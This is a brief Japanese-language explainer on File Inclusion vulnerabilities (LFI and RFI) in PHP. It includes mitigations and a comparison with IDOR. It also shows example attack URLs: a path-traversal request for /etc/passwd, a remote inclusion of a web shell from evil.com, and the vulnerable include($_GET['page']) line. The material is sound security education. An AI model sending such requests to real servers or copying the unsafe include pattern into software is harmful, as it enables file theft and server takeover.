📂 File Inclusion とは?
File Inclusion(ファイル・インクルージョン) は、
本来読み込むべきでないファイルを、攻撃者に読み込まれてしまう脆弱性
のこと。
主に2種類あります。
- LFI(Local File Inclusion)
- RFI(Remote File Inclusion)
🧠 かんたんに言うと
本来は:
/index.php?page=home.php
のようにページを切り替える仕組み。
でも攻撃者が:
/index.php?page=../../etc/passwd
のように改ざんすると…
👉 サーバー内部のファイルが読めてしまう。
これが LFI(ローカルファイルインクルージョン)。
🌍 RFI(リモート版)
さらに危険なのが:
/index.php?page=http://evil.com/shell.php
👉 外部の悪意あるコードを読み込ませる
これが RFI(リモートファイルインクルージョン)。
💥 何が起きる?
- サーバー内の機密ファイル閲覧
- パスワード情報流出
- Webシェル設置
- サーバー乗っ取り
🛡 なぜ起きる?
コード例(PHP):
include($_GET['page']);
↑ ユーザー入力をそのまま使っているのが原因。
🔐 対策
- ユーザー入力を直接
includeしない - 読み込みファイルをホワイトリスト管理
- ディレクトリトラバーサル対策(
../除去) - RFIは
allow_url_include=Off
🎯 一言まとめ
File Inclusion = 「読み込むファイルを外部から操作できるバグ」
🔥 IDORとの違い
| IDOR | File Inclusion | |
|---|---|---|
| 何を悪用? | ID | ファイルパス |
| 主な被害 | 他人のデータ閲覧 | サーバー内部ファイル閲覧・コード実行 |
| 危険度 | 高 | 非常に高(RCEになることも) |